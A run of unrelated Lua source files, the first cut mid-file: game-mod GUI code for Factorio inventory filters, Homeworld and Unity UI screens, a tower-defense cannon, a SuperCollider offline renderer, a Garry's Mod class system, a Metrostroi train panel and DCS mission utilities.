'picker-request-clear', tooltip = {'filterfill.btn-clear'}, style = 'picker_buttons' } local filters = filter_frame.add {type = 'table', name = 'filterfill_filters', column_count = 5, style = 'picker_table'} filters.add { type = 'sprite-button', name = 'filterfill_filters_btn_all', sprite = 'picker-filters-all', tooltip = {'filterfill.btn-all'}, style = 'picker_buttons' } filters.add { type = 'sprite-button', name = 'filterfill_filters_btn_down', sprite = 'picker-filters-down', tooltip = {'filterfill.btn-down'}, style = 'picker_buttons' } filters.add { type = 'sprite-button', name = 'filterfill_filters_btn_right', sprite = 'picker-filters-right', tooltip = {'filterfill.btn-right'}, style = 'picker_buttons' } filters.add { type = 'sprite-button', name = 'filterfill_filters_btn_set_all', sprite = 'picker-filters-set-all', tooltip = {'filterfill.btn-set-all'}, style = 'picker_buttons' } filters.add { type = 'sprite-button', name = 'filterfill_filters_btn_clear_all', sprite = 'picker-filters-clear-all', tooltip = {'filterfill.btn-clear-all'}, style = 'picker_buttons' } end return filter_frame end --)) --(( FILTERS ))-- local function safe_number(num) return (num < Math.MAX_UINT) and num or (Math.MAX_UINT - 1) end -- Filtering: Filter all cells of the opened container with the -- contents of the player's cursor stack, or the first item in the container, -- or the first filter in the container local function get_opened_inventory(player) local inv if GUI_TYPES[player.opened_gui_type] then if player.opened_self then inv = player.get_main_inventory() elseif player.opened_gui_type == defines.gui_type.entity then inv = player.opened.get_output_inventory() end end return inv end local function filterfill_all(event) local player = game.players[event.player_index] local inventory = get_opened_inventory(player) if inventory then -- Get the contents of the player's cursor stack, or the first cell local desired = (player.cursor_stack.valid_for_read and player.cursor_stack.name) or Inventory.get_item_or_filter(inventory, 1) for i = 1, #inventory do local current = not event.shift and Inventory.get_item_or_filter(inventory, i) inventory.set_filter(i, current or desired or nil) end end end Gui.on_click('filterfill_filters_btn_all', filterfill_all) -- Filtering: Copies the filter settings of each cell to the cell(s) below it local function filterfill_down(event) local player = game.players[event.player_index] local inventory = get_opened_inventory(player) if inventory then local size = #inventory local rows = ceil(size / INVENTORY_COLUMNS) for c = 1, INVENTORY_COLUMNS do local desired = Inventory.get_item_or_filter(inventory, c) for r = 1, rows do local i = c + (r - 1) * INVENTORY_COLUMNS if i <= size then desired = Inventory.get_item_or_filter(inventory, i) or desired inventory.set_filter(i, desired or nil) end end end end end Gui.on_click('filterfill_filters_btn_down', filterfill_down) -- Filtering: Copies the filter settings of each cell to the cell(s) to the right of it local function filterfill_right(event) local player = game.players[event.player_index] local inventory = get_opened_inventory(player) if inventory then local size = #inventory local rows = ceil(size / INVENTORY_COLUMNS) --local desired for r = 1, rows do local desired = Inventory.get_item_or_filter(inventory, 1 + (r - 1) * INVENTORY_COLUMNS) for c = 1, INVENTORY_COLUMNS do local i = c + (r - 1) * INVENTORY_COLUMNS if i <= size then desired = Inventory.get_item_or_filter(inventory, i) or desired inventory.set_filter(i, desired or nil) end end end end end Gui.on_click('filterfill_filters_btn_right', filterfill_right) -- Filtering: Set the filters of the opened container to the contents of each cell local function filterfill_set_all(event) local player = game.players[event.player_index] local inventory = get_opened_inventory(player) if inventory then for i = 1, #inventory do local desired = Inventory.get_item_or_filter(inventory, i, true) inventory.set_filter(i, desired or nil) end end end Gui.on_click('filterfill_filters_btn_set_all', filterfill_set_all) -- Filtering: Clear all filters in the opened container local function filterfill_clear_all(event) local player = game.players[event.player_index] local inventory = get_opened_inventory(player) if inventory then for i = 1, #inventory do inventory.set_filter(i, nil) end end end Gui.on_click('filterfill_filters_btn_clear_all', filterfill_clear_all) --)) --(( REQUESTS ))-- local function requests_fill(event) local player = game.players[event.player_index] if player.opened then for i = 1, player.opened.request_slot_count do local item = player.opened.get_request_slot(i) if item then -- If requesting 2.5 stacks, then request 3 local stacks_to_request = ceil(item.count / game.item_prototypes[item.name].stack_size) local number_to_request = stacks_to_request * game.item_prototypes[item.name].stack_size player.opened.set_request_slot({name = item.name, count = safe_number(number_to_request)}, i) end end end end Gui.on_click('filterfill_requests_btn_max', requests_fill) local function multiply_filter(event) local player = game.players[event.player_index] local opened = player.opened if opened then local factor = tonumber(event.element.name:match('%d+')) for i = 1, opened.request_slot_count do local existing = opened.get_request_slot(i) if existing and factor > 0 then local count = safe_number(floor(existing.count) * factor) opened.set_request_slot({name = existing.name, count = count}, i) else opened.clear_request_slot(i) end end end end Gui.on_click('filterfill_requests_btn_%d+x', multiply_filter) local function blueprint_requests(event) --chest "should be non-nil" at this point local player = game.players[event.player_index] local chest = player.opened local chest_inv = chest and chest.get_output_inventory() local blueprint = Inventory.get_blueprint(player.cursor_stack, true) or (chest_inv and Inventory.get_blueprint(chest_inv[1], true, true)) if chest then if blueprint then local slot_count = chest.request_slot_count for i = 1, slot_count do chest.clear_request_slot(i) end local i = 1 Table.each( blueprint.cost_to_build, function(v, k) if i < slot_count then chest.set_request_slot({name = k, count = safe_number(v)}, i) i = i + 1 else return true end end ) else player.print({'filterfill.no-blueprint'}) end else event.element.parent.parent.destroy() end end Gui.on_click('filterfill_requests_btn_bp', blueprint_requests) --)) --(( Check inventory )) local function check_for_filterable_inventory(event) local player = game.players[event.player_index] local frame = get_or_create_filterfill_gui(player) local inv = get_opened_inventory(player) if inv then local requester = false local opened = player.opened if opened and opened.type == 'logistic-container' then local ptype = opened.prototype if ptype.logistic_mode == 'requester' or ptype.logistic_mode == 'buffer' then requester = true end end frame['filterfill_requests'].visible = requester frame['filterfill_filters'].visible = inv and inv.supports_filters() frame.visible = frame['filterfill_filters'].visible or frame['filterfill_requests'].visible else frame.visible = false end end Event.register({defines.events.on_gui_opened, defines.events.on_gui_closed}, check_for_filterable_inventory) --))
-- Displays detailed information about unit caps when the user mouses over the units menu dofilepath("data:ui/newui/Styles/HWRM_Style/HWRMDefines.lua") function RulesToClone(MyInteger, MyTextA, MyTextB) return { type = "Frame", name = "frmNameRules", autosize = 1, arrangetype = "horiz", ; -- Title to clone { type = "TextLabel", name = "lblRulesA" .. MyInteger, autosize = 0, ignored = 1, -- backgroundColor = {random(255),random(255),random(255),128}, Layout = { size_WH = { w = 1, h = STD_LABEL_HEIGHT/2, wr = "px", hr = "scr" }, min_WH = { w = 300, wr = "px" }, }, Text = { textStyle = "IGHeading2", hAlign = "Left", text = MyTextA, }, giveParentMouseInput = 1, dropShadow = 1, visible = 1, }, { type = "TextLabel", name = "lblRulesB" .. MyInteger, autosize = 0, ignored = 1, -- backgroundColor = {random(255),random(255),random(255),128}, Layout = { size_WH = { w = 1, h = STD_LABEL_HEIGHT/2, wr = "px", hr = "scr" }, min_WH = { w = 300, wr = "px" }, }, Text = { textStyle = "IGHeading2", hAlign = "Left", text = MyTextB, }, giveParentMouseInput = 1, dropShadow = 1, visible = 1, }, } end RulesScreen = { maxColor = {255,0,0,255}, -- color for max pop reached availColor = {0,255,0,255}, -- color for pop available --size = {32, 71, 100, 200}, autosize = 1, RootElementSettings = { autosize = 1, -- backgroundColor = {255,128,0,255}, Layout = { pad_LT = { l = 8, t = 0, lr = "px", tr = "px" }, }, Anchor_Binds = { pivotX = "Taskbar_LeftButtonsTopRight", pivotY = "Taskbar_LeftButtonsTopRight", }, }, soundOnShow = "SFX_RecallMenuONOFF", soundOnHide = "SFX_RecallMenuONOFF", onShow = "UI_SetButtonPressed('NewTaskbar', 'btnRules', 1); UI_HideScreen('BuildQueueMenu'); UI_HideScreen('EventsScreen'); UI_HideScreen('UnitCapInfoPopup'); UI_HideScreen('BountiesScreen'); UI_HideScreen('ProgressScreen'); UI_HideScreen('MusicScreen'); UI_HideScreen('BentusiScreen');", onHide = "UI_SetButtonPressed('NewTaskbar', 'btnRules', 0);", stylesheet = "HW2StyleSheet", -- Flags pixelUVCoords = 1, -- Enter pixel coords for texture coords arrangetype = "vert", clickThrough = 1, ; -- Unit cap item to clone { type = "Frame", name = "frmItemToClone", autosize = 1, giveParentMouseInput = 1, visible = 1, arrangetype = "vert", Layout = { size_WH = { w = 1, h = 1, wr = "1", hr = "px" }, }, ; RulesToClone( 0, "", ""), RulesToClone( 1, "", ""), RulesToClone( 2, "", ""), RulesToClone( 3, "", ""), RulesToClone( 4, "", ""), RulesToClone( 5, "", ""), RulesToClone( 6, "", ""), RulesToClone( 7, "", ""), RulesToClone( 8, "", ""), RulesToClone( 9, "", ""), RulesToClone(10, "", ""), RulesToClone(11, "", ""), RulesToClone(12, "", ""), RulesToClone(13, "", ""), RulesToClone(14, "", ""), RulesToClone(15, "", ""), RulesToClone(16, "", ""), RulesToClone(17, "", ""), RulesToClone(18, "", ""), RulesToClone(19, "", ""), RulesToClone(20, "", ""), RulesToClone(21, "", ""), RulesToClone(22, "", ""), RulesToClone(23, "", ""), RulesToClone(24, "", ""), RulesToClone(25, "", ""), RulesToClone(26, "", ""), RulesToClone(27, "", ""), RulesToClone(28, "", ""), RulesToClone(29, "", ""), RulesToClone(30, "", ""), RulesToClone(31, "", ""), RulesToClone(32, "", ""), RulesToClone(33, "", ""), RulesToClone(34, "", ""), RulesToClone(35, "", ""), RulesToClone(36, "", ""), RulesToClone(37, "", ""), RulesToClone(38, "", ""), RulesToClone(39, "", ""), }, }
Cannon = Class { __includes=TargetedTower, init = function(self, gridOrigin, worldOrigin) self.towerType = "CANNON" TargetedTower.init(self, animationController:createInstance(self.towerType), gridOrigin, worldOrigin, constants.STRUCTURE.CANNON.WIDTH, constants.STRUCTURE.CANNON.HEIGHT, constants.STRUCTURE.CANNON.COST, constants.STRUCTURE.CANNON.ROTATION_TIME, constants.STRUCTURE.CANNON.ATTACK_DAMAGE, constants.STRUCTURE.CANNON.ATTACK_INTERVAL ) self.targettingRadius = constants.STRUCTURE.CANNON.TARGETTING_RADIUS end; update = function(self, dt) TargetedTower.update(self, dt) end; shoot = function(self) local centre = self:centre() local newX = centre.x + constants.STRUCTURE.CANNON.BARREL_LENGTH*math.sin(self.angleToTarget) local newY = centre.y - constants.STRUCTURE.CANNON.BARREL_LENGTH*math.cos(self.angleToTarget) world:addProjectile(Cannonball(Vector(newX, newY), self.currentTarget, self.attackDamage, self.mutation)) audioController:playAny("CANNON_SHOOT") end; addMutation = function(self, mutation) assert(mutation and mutation.id) TargetedTower.addMutation(self, mutation, animationController:createInstance(self.towerType..'-'..mutation.id)) end; } Cannonball = Class { __includes=HomingProjectile, init = function(self, worldOrigin, target, damage, mutation) self.projectileType = "CANNONBALL" local anim = nil if mutation then anim = animationController:createInstance(self.projectileType..'-'..mutation.id) else anim = animationController:createInstance(self.projectileType) end HomingProjectile.init(self, worldOrigin, anim, target, constants.PROJECTILE.CANNONBALL.SPEED, constants.PROJECTILE.CANNONBALL.WIDTH, constants.PROJECTILE.CANNONBALL.HEIGHT, mutation) self.damage = damage end; update = function(self, dt) HomingProjectile.update(self, dt) end; draw = function(self) HomingProjectile.draw(self) end; --hitTarget can optionally return an 'Impact', to inflict some AoE effect/damage hitTarget = function(self) HomingProjectile.hitTarget(self) self.markedForDeath = true if self.target then self.target:takeDamage(self.damage, true) if self.mutation then if self.mutation.areaOfEffect then return self.mutation:createImpact(self.worldOrigin) else self.mutation:attack(self.target, 1) end else return DefaultImpact(self.worldOrigin) end elseif self.mutation.areaOfEffect then --if our enemy is dead, explode on the spot! return self.mutation:createImpact(self.worldOrigin) end end; }
local NRT = {} local sentosctable = {} function NRT:open(filepath) local file,err = io.open(filepath,"wb") self.file = file if not self.file then error(err) end self.filepath = filepath end function NRT:sendBundle(msg,time) assert(self.file) assert(time>=0) if not self.closed then local kSecondsToOSCunits = 4294967296 local timestamp = time*kSecondsToOSCunits local dgram = toOSC{timestamp,msg} --self.file:write(int2str(#dgram,4,false)) --self.file:write(dgram) sentosctable[timestamp] = sentosctable[timestamp] or {} table.insert(sentosctable[timestamp],{timestamp,dgram}) else prerror("nrt closed:",prOSC(msg)) end end function NRT:sendMultiBundle(time,msg) assert(self.file) assert(time>=0) if not self.closed then local kSecondsToOSCunits = 4294967296 local timestamp = time*kSecondsToOSCunits table.insert(msg,1,timestamp) local dgram = toOSC(msg) --self.file:write(int2str(#dgram,4,false)) --self.file:write(dgram) sentosctable[timestamp] = sentosctable[timestamp] or {} table.insert(sentosctable[timestamp],{timestamp,dgram}) else prerror("nrt closed:",prOSC(msg)) end end function NRT:sentosctable2file() local sorted = {} for k,v in pairs(sentosctable) do table.insert(sorted,v) end table.sort(sorted,function(a,b) return a[1][1]<b[1][1] end) for i,t in ipairs(sorted) do for j,v in ipairs(t) do local dgram = v[2] self.file:write(int2str(#dgram,4,false)) self.file:write(dgram) end end end local osctable = {} function NRT:sendBundleTable(msg,time) assert(time) table.insert(osctable,{time,msg}) end function NRT:sendMultiBundleTable(time,msg) assert(time) table.insert(msg,1,time) table.insert(osctable,msg) end function NRT:SaveTable(file) local fich,err=io.open(file,"wb") if not fich then error(err) end fich:write("local ") print"serialize" local str = serializeTable("osctable",osctable) print"serialize fich" fich:write(str) fich:write("return osctable ") fich:close() end function NRT:LoadTable(file) local fich,err=io.open(file,"r") if not fich then error(err) end local str=fich:read("*a") fich:close() return assert(loadstring(str))() end function NRT:close() self.file:close() self.closed = true end function NRT:Gen(endppq,test) USING_LILYPOND = true --not doing /sync require"sc.oscfunc"(scriptlinda,true) NRT.test = test local function pathnoext(P) return P:match("([^%.]+)") end if not test then NRT:open(pathnoext(scriptname)..".osc") end if test then NRT.sendBundle = NRT.sendBundleTable NRT.sendMultiBundle = NRT.sendMultiBundleTable end theMetro:play(nil,0,0,25) theMetro.oldtimestamp = 0 theMetro.oldppqPos = 0 local lastt = 0 sendBundle = function(msg,ti) --if ti then assert(ti>=lastt) end --if not ti then print("ti null",theMetro.ppqPos);print(theMetro.oldtimestamp,theMetro.oldppqPos,theMetro.bpsi) end ti = ti or theMetro:ppq2time(theMetro.ppqPos) --lastt lastt = ti local oscstr = prOSC(msg):sub(1,255) if test then prerror(ti,oscstr) end NRT:sendBundle(msg,ti) end sendMultiBundle = function(ti,msg) --if ti then assert(ti>=lastt) end --if not ti then print("ti null",theMetro.ppqPos);print(theMetro.oldtimestamp,theMetro.oldppqPos,theMetro.bpsi) end ti = ti or theMetro:ppq2time(theMetro.ppqPos) --lastt lastt = ti local oscstr = prOSC(msg):sub(1,255) if test then prerror(ti,oscstr) end NRT:sendMultiBundle(ti,msg) end sendBlocked = function(msg) --print(lastt,prOSC(msg)) local oscstr = prOSC(msg):sub(1,255) prerror(lastt,oscstr) --if msg[1]~="/d_recv" then NRT:sendBundle(msg,lastt) --end return {"/done",{}} end ThreadServerSend = function(msg) sendBundle(msg) end ThreadServerSendT = function(msg,tim) sendMultiBundle(tim,msg) end --setting oldtimestamp to 0 table.insert(initCbCallbacks,1,function() theMetro:play(nil,0,0,25) theMetro.oldppqPos = 0 theMetro.oldtimestamp = 0 end) table.insert(initCbCallbacks,function() print"NRT work" theMetro:play(nil,0,0,25) theMetro.oldtimestamp = 0 -- -theMetro.period while theMetro.ppqPos < endppq do -- cancelstep already does the work if cancel_test() then print("NRT:required to cancel\n") return true end theMetro.timestamp = theMetro.oldtimestamp + theMetro.period theMetro.oldppqPos = theMetro.ppqPos theMetro.ppqPos = theMetro.ppqPos + theMetro.frame --print("theMetro",theMetro.oldppqPos,theMetro.ppqPos) _onFrameCb() theMetro.oldtimestamp = theMetro.timestamp end if not NRT.test then print("sending /quit on",theMetro:ppq2time(endppq),endppq) sendBundle({"/quit",{}},theMetro:ppq2time(endppq)) NRT:sentosctable2file() NRT:close() else print"saving osc table" NRT:SaveTable(pathnoext(scriptname)..".osc") print"osc table saved" end if not test then -- call sc NRT local is_windows = package.config:sub(1,1) == '\\' local sep = is_windows and '\\' or '/' local plugpathsep = is_windows and ";" or ":" local scpath = (_run_options.SCpath):match("(.+"..sep..")([^"..sep.."]+)") local plugpath = [["]]..scpath..[[plugins"]] for i,v in ipairs(_run_options.SC_PLUGIN_PATH) do if(v=="default") then else plugpath = plugpath..plugpathsep..[["]]..v..[["]] end end local cmd = string.format("\"\"%s\" -N \"%s\" _ \"%s\" 44100 wav float -U %s -o 2 -i 2 -V 2 -m 65536 2>&1\"",_run_options.SCpath, NRT.filepath, pathnoext(scriptname)..".wav",plugpath) print(cmd) ---[=[ --print(os.execute(cmd)) local exe,err = io.popen(cmd) if not exe then print("Could not popen. Error: ",err) return false else exe:setvbuf("no") end repeat if cancel_test() then print("NRT:required to cancel\n") return true end --print(stdout:read("*all") or stderr:read("*all") or "nil") exe:flush() --io.write("reading line bootsc\n") local line = exe:read("*l") if line then --io.write(line .."\n") if not line:match("^nextOSCPacket") then print(line) end else --io.write("server finished\n") print("nrt server finished") --return true break end until false --]=] end scriptlinda:send("script_exit",1) end) end return NRT
local printf = function(fmt, ...) MsgN(string.format(fmt, ...)) end class = {} class.Registered = {} local function checkfield(tbl, key, def) tbl[key] = tbl[key] or def if not tbl[key] then error(string.format("The key %q was not found!", key), 3) end return tbl[key] end function class.GetSet(tbl, name, def) tbl["Set" .. name] = function(self, var) self[name] = var end tbl["Get" .. name] = function(self, var) return self[name] end tbl[name] = def end function class.IsSet(tbl, name, def) tbl["Set" .. name] = function(self, var) self[name] = var end tbl["Is" .. name] = function(self, var) return self[name] end tbl[name] = def end function class.Get(type, name) if not type then return end if not name then return end return class.Registered[type] and class.Registered[type][name] or nil end function class.GetAll(type) return class.Registered[type] end function class.Register(META, type, name) local type = checkfield(META, "Type", type) local name = checkfield(META, "ClassName", name) class.Registered[type] = class.Registered[type] or {} class.Registered[type][name] = META end function class.InsertIntoBaseField(META, var, pos) local T1 = type(META.Base) local T2 = type(var) if T1 == "table" then if T2 == "table" and not var.Type then for key, base in ipairs(var) do table.insert(META.Base, key, base) end else if table.HasValue(META.Base, var) then return end if pos then table.insert(META.Base, pos, var) else table.insert(META.Base, var) end end end if META.ClassName == var then return end if T1 == "string" then META.Base = {META.Base} class.InsertIntoBaseField(META, var, pos) end if T1 == "nil" then META.Base = {var} end end function class.Derive(obj, var) local T = type(var) if T == "nil" then return end if T == "string" then var = class.Get(obj.Type, var) T = type(var) end if T == "table" then if var.Type then obj.BaseClass = var else for _, base in ipairs(var) do class.Derive(obj, base) end end if var.Base then class.Derive(var, var.Base) end for key, val in pairs(var) do if type(val) == "table" then obj[key] = obj[key] or {} table.Merge(obj[key], table.Copy(val)) end end end -- the code below is kinda huh local tbl = {} local cur = obj for i = 1, 10 do if cur then table.insert(tbl, cur) cur = cur.BaseClass else break end end for _, base in ipairs(tbl) do for key, val in pairs(base) do obj[key] = obj[key] or val end end obj.__bases = tbl end function class.Create(Type, ClassName) local META = class.Get(Type, ClassName) if not META then printf("tried to create unknown %s %q!", Type, ClassName) return end META = table.Copy(META) class.Derive(META, META.Base) function META:__tostring() return string.format("%s[%s]", self.Type, self.ClassName) end if META.Base then function META:__index(key) if META[key] ~= nil then return META[key] end for key, base in ipairs(META.__bases) do if base[key] ~= nil then return base[key] end end end else META.__index = META end local obj = setmetatable({}, META) return obj end
local guideFashion = {} function guideFashion:Start() self:initData() self:initUi() end function guideFashion:initData() self.cfg = module.guideLayerModule.GetFashionCfg() self.quest = module.QuestModule.Get(self.cfg.finishQuest) end function guideFashion:initUi() self.view = CS.SGK.UIReference.Setup(self.gameObject) CS.UGUIClickEventListener.Get(self.view.root.backBtn.gameObject).onClick = function() DialogStack.Pop() end for i = 1, #self.view.root.ScrollView.Viewport.Content do local _view = self.view.root.ScrollView.Viewport.Content[i] utils.IconFrameHelper.Create(_view.IconFrame, {customCfg={ icon = 11003, quality = 0, star = 0, level = 0, }, type = 42}); end CS.UGUIClickEventListener.Get(self.view.root.ScrollView.Viewport.Content.item1.activite.Image.gameObject, true).onClick = function() self.view.root.fashionNode:SetActive(true) end CS.UGUIClickEventListener.Get(self.view.root.fashionNode.gameObject, true).onClick = function() self.view.root.fashionNode:SetActive(false) end self:upUi() local _view = self.view.root.ScrollView.Viewport.Content.item3 CS.UGUIClickEventListener.Get(_view.open.gameObject, true).onClick = function() if module.QuestModule.CanSubmit(self.quest.uuid) then _view.open[CS.UGUIClickEventListener].interactable = false _view.open[UI.Image].material = SGK.QualityConfig.GetInstance().grayMaterial coroutine.resume(coroutine.create(function() module.QuestModule.Finish(self.quest.uuid) showDlgError(nil, SGK.Localize:getInstance():getValue("xiaobai_shuangzixingwushi_9")) DialogStack.Pop() _view.open[UI.Image].material = nil _view.open[CS.UGUIClickEventListener].interactable = true end)) else showDlgError(nil, self.quest.name) end end end function guideFashion:questList() for i = 1, 5 do local _view = self.view.root.ScrollView.Viewport.Content.item2.activite.taskNode[i] local _cfg = module.QuestModule.Get(self.cfg.conditions[i]) if _cfg then _view.info[UI.Text].text = _cfg.name local _idx = 0 if _cfg.status == 1 then _idx = 1 end _view[CS.UGUISpriteSelector].index = _idx end end end function guideFashion:Update() self:upOverTime() end function guideFashion:upOverTime() if self.view.root.ScrollView.Viewport.Content.item1.activite.Text then if self.quest then local _time = (self.quest.end_time - 1) * 86400 local _off = (module.playerModule.Get().create_time + _time) - module.Time.now() local _day = math.floor(_off / 86400) local _hour = math.floor((_off - _day * 86400) / 3600) local _min = math.floor((_off - _day * 86400 - _hour * 3600) / 60) if _day == 0 then self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text = SGK.Localize:getInstance():getValue("online_reward_2", _hour, _min) else self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text = SGK.Localize:getInstance():getValue("online_reward_1", _day, _hour, _min) end else self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text = "" end if self.view.root.ScrollView.Viewport.Content.item2.activeSelf then self.view.root.ScrollView.Viewport.Content.item2.activite.Text[UI.Text].text = self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text end if self.view.root.ScrollView.Viewport.Content.item3.activeSelf then self.view.root.ScrollView.Viewport.Content.item3.time[UI.Text].text = self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text end end end function guideFashion:jumpTo() self.view.root.ScrollView.Viewport.Content[UI.VerticalLayoutGroup].enabled = false self.view.root.ScrollView.Viewport.Content[UI.VerticalLayoutGroup].enabled = true end function guideFashion:upUi() self.view.root.ScrollView.Viewport.Content.item3:SetActive(self.quest and (self.quest.status == 1 or module.QuestModule.CanSubmit(self.quest.id))) if self.view.root.ScrollView.Viewport.Content.item3.activeSelf then self:jumpTo() end self:questList() end function guideFashion:listEvent() return { "QUEST_INFO_CHANGE", } end function guideFashion:onEvent(event, data) if event == "QUEST_INFO_CHANGE" then self:upUi() end end return guideFashion
-------------------------------------------------------------------------------- -- 81-707 controller panel -------------------------------------------------------------------------------- -- Copyright (C) 2013-2018 Metrostroi Team & FoxWorks Aerospace s.r.o. -- Contains proprietary code. See license.txt for additional information. -------------------------------------------------------------------------------- Metrostroi.DefineSystem("81_707_Panel") function TRAIN_SYSTEM:Initialize() -- Выключатель батареи (ВБ) self.Train:LoadSystem("VB","Relay","Switch", {bass = true}) self.Train:LoadSystem("AV","Relay","Switch", {bass = true}) self.Train:LoadSystem("VU","Relay","Switch", {bass = true,normally_closed = true}) self.Train:LoadSystem("VU1","Relay","Switch", {bass = true}) --Heater self.Train:LoadSystem("VU2","Relay","Switch", {bass = true}) --EmergencyLights self.Train:LoadSystem("VU3","Relay","Switch", {bass = true}) --CabLights -- Buttons on the panel self.Train:LoadSystem("DoorSelect","Relay","Switch", {bass = true, normally_closed = false }) self.Train:LoadSystem("KU4","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU5","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU9","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU14","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU15","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU1","Relay","Switch", {bass = true}) self.Train:LoadSystem("VAH","Relay","Switch", {bass = true}) self.Train:LoadSystem("VAD","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU16","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU2","Relay","Switch", {bass = true }) self.Train:LoadSystem("KU3","Relay","Switch", { normally_closed = true, bass = true }) -- Doors close self.Train:LoadSystem("KU3L","Relay","Switch", { bass = true }) -- Doors close self.Train:LoadSystem("KU13","Relay","Switch", {bass = true}) -- Doors left open self.Train:LoadSystem("KU6","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU7","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU10","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU8","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU11","Relay","Switch", {bass = true}) --Door sig self.Train:LoadSystem("KRR","Relay","Switch", {bass = true}) self.Train:LoadSystem("OtklAVU","Relay","Switch", {bass = true}) self.Train:LoadSystem("ARS","Relay","Switch", {bass = true}) self.Train:LoadSystem("ALS","Relay","Switch", {bass = true, normally_closed = true }) self.Train:LoadSystem("KVT","Relay","Switch", {bass = true}) self.Train:LoadSystem("KB","Relay","Switch", {bass = true}) self.Train:LoadSystem("KAH","Relay","Switch", {bass = true}) self.Train:LoadSystem("R_UNch","Relay","Switch", {bass = true, normally_closed = true}) self.Train:LoadSystem("R_ZS","Relay","Switch", {bass = true, normally_closed = true}) self.Train:LoadSystem("R_G","Relay","Switch", {bass = true, normally_closed = true}) self.Train:LoadSystem("R_Radio","Relay","Switch", {bass = true, normally_closed = true}) self.Train:LoadSystem("R_Program1","Relay","Switch", {bass = true}) self.Train:LoadSystem("R_Program2","Relay","Switch", {bass = true}) self.Train:LoadSystem("R_Program1H","Relay","Switch", {bass = true}) self.Train:LoadSystem("R_Program2H","Relay","Switch", {bass = true}) self.Train:LoadSystem("RC1","Relay","Switch",{bass = true, normally_closed = true }) self.Train:LoadSystem("OVT","Relay","Switch",{bass = true, normally_closed = true }) self.Train:LoadSystem("RST","Relay","Switch", {bass = true, normally_closed = true}) --self.Train:LoadSystem("ALSFreq","Relay","Switch", {bass = true}) -- Педаль бдительности (ПБ) self.Train:LoadSystem("PB","Relay","Switch", {bass = true}) self.Train:LoadSystem("KU6K","Relay","Switch", {bass = true, normally_closed = true}) --self.Train:LoadSystem("KU13K","Relay","Switch", {bass = true, normally_closed = true}) --self.Train:LoadSystem("KU7K","Relay","Switch", {bass = true, normally_closed = true}) --self.Train:LoadSystem("KAHK","Relay","Switch", {bass = true, normally_closed = true}) self.Train:LoadSystem("PanelLamp","Relay","Switch", {bass = true, normally_closed=true}) self.V1 = 0 self.GRP = 0 self.RRP = 0 self.TW18 = 0 self.SD = 0 self.Sequence = 0 self.Headlights1 = 0 self.Headlights2 = 0 self.RedLights = 0 self.EmergencyLights2 = 0 self.EmergencyLights1 = 0 self.MainLights1 = 0 self.MainLights2 = 0 self.Ring = 0 self.KT = 0 self.AVU = 0 self.VPR = 0 self.AnnouncerPlaying = 0 self.CBKIPower = 0 self.PCBKPower = 0 end function TRAIN_SYSTEM:Outputs() return { "V1","GRP","RRP","TW18","SD","Headlights1","Headlights2","RedLights","EmergencyLights2","EmergencyLights1","MainLights1","MainLights2","Ring","KT","Sequence","AnnouncerPlaying","AVU","VPR","CBKIPower","PCBKPower"} end
--- -- FDMM MOOSE Additions Module. -- @module FDMM_MOOSEAdditions env.info("---FDMM_MOOSEAdditions Start---") assert(routines, 'MOOSE not initialized.') do -- FDMM_MOOSEAdditions --- Distance between two points (2 dimensional). -- Gets distance in meters squared between two points in 2 dimensions (no altitude). -- Useful for when comparing distances, in which the square root operation isn't necessary. -- @param DCS#Vec2 point1 First point. -- @param DCS#Vec2 point2 Second point. -- @return DCS#Distance Distance in meters squared. function routines.utils.get2DDistSqrd(point1, point2) if point1.z ~= nil then point1 = routines.utils.makeVec2(point1) end if point2.z ~= nil then point2 = routines.utils.makeVec2(point2) end return routines.vec.magSqrd({x = point1.x - point2.x, y = point1.y - point2.y}) end --- Distance between two points (3 dimensional). -- Gets distance in meters squared between two points in 3 dimensions (with altitude). -- Useful for when comparing distances, in which the square root operation isn't necessary. -- @param DCS#Vec3 point1 First point. -- @param DCS#Vec3 point2 Second point. -- @return DCS#Distance Distance in meters squared. function routines.utils.get3DDistSqrd(point1, point2) if point1.z == nil then point1 = routines.utils.makeVec3(point1) end if point2.z == nil then point2 = routines.utils.makeVec3(point2) end return routines.vec.magSqrd({x = point1.x - point2.x, y = point1.y - point2.y, z = point1.z - point2.z}) end --- Vector magnitude squared. -- Gets magnitude of vector in meters squared. -- Useful for when comparing distances, in which the square root operation isn't necessary. -- @param DCS#Vec vec Vector. -- @return DCS#Distance Magnitude in meters squared. routines.vec.magSqrd = function(vec) return (vec.x * vec.x) + (vec.y * vec.y) + ((vec.z or 0) * (vec.z or 0)) end --- Constructor to create a ZONE_POLYGON instance, taking the zone name and array of @{DCS#Vec2}, forming a polygon. -- The polygon points define the polygon corners. The first and the last point are automatically connected by ZONE_POLYGON. -- @param #ZONE_POLYGON self -- @param #string ZoneName Name of the zone. -- @param #ZONE_POLYGON_BASE.ListVec2 PointsArray An array of @{DCS#Vec2}, forming a polygon. -- @return #ZONE_POLYGON self function ZONE_POLYGON:NewFromPoints( ZoneName, PointsArray ) local self = BASE:Inherit( self, ZONE_POLYGON_BASE:New( ZoneName, PointsArray ) ) self:F( { ZoneName, nil, self._.Polygon } ) -- Zone objects are added to the _DATABASE and SET_ZONE objects. _EVENTDISPATCHER:CreateEventNewZone( self ) return self end end -- /FDMM_MOOSEAdditions env.info("---FDMM_MOOSEAdditions End---")
